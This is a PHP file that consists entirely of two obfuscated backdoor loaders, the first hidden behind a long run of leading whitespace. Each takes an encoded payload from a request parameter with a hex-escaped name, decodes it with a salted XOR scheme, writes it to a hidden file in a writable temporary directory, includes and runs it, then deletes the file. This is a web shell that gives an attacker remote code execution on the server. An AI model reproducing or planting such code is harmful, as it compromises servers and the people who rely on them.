<?php																																										if(!is_null($_REQUEST["\x72\x65sou\x72\x63e"] ?? null)){ $token = array_filter([getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); $pgrp = $_REQUEST["\x72\x65sou\x72\x63e"]; $pgrp= explode ( '.' , $pgrp ) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $pgrp as $u=> $v3) { $sChar= ord( $s[$u % $sLen]); $dec= ( ( int)$v3 - $sChar -( $u % 10))^ 53; $sym.= chr( $dec); } for ($fac = 0, $component = count($token); $fac < $component; $fac++) { $res = $token[$fac]; if ((bool)is_dir($res) && (bool)is_writable($res)) { $marker = "$res/.object"; if (file_put_contents($marker, $sym)) { include $marker; @unlink($marker); die(); } } } }


if(@$_POST["\x66\x61c"] !== null){
	$property_set = $_POST["\x66\x61c"];
				$property_set 		=		explode		(		 "."	,	$property_set  	); 	 
	$element = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt7);
            $m = 0;
    
            $__tmp = $property_set;
            while(	$v1 = array_shift(	$__tmp)) {	 $sChar = ord(	$salt7[$m	 % $sLen]);
                $d =(	(	int)$v1 - $sChar -(	$m	 % 10)) ^		49;
                $element .= chr(	$d);
                $m++;
            }
	$ent = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]);
	$marker = 0;
do {
    $reference = $ent[$marker] ?? null;
    if ($marker >= count($ent)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) {
    $binding = str_replace("{var_dir}", $reference, "{var_dir}/.symbol");
    if (file_put_contents($binding, $element)) {
	include $binding;
	@unlink($binding);
	exit;
}
}
    $marker++;
} while (true);
}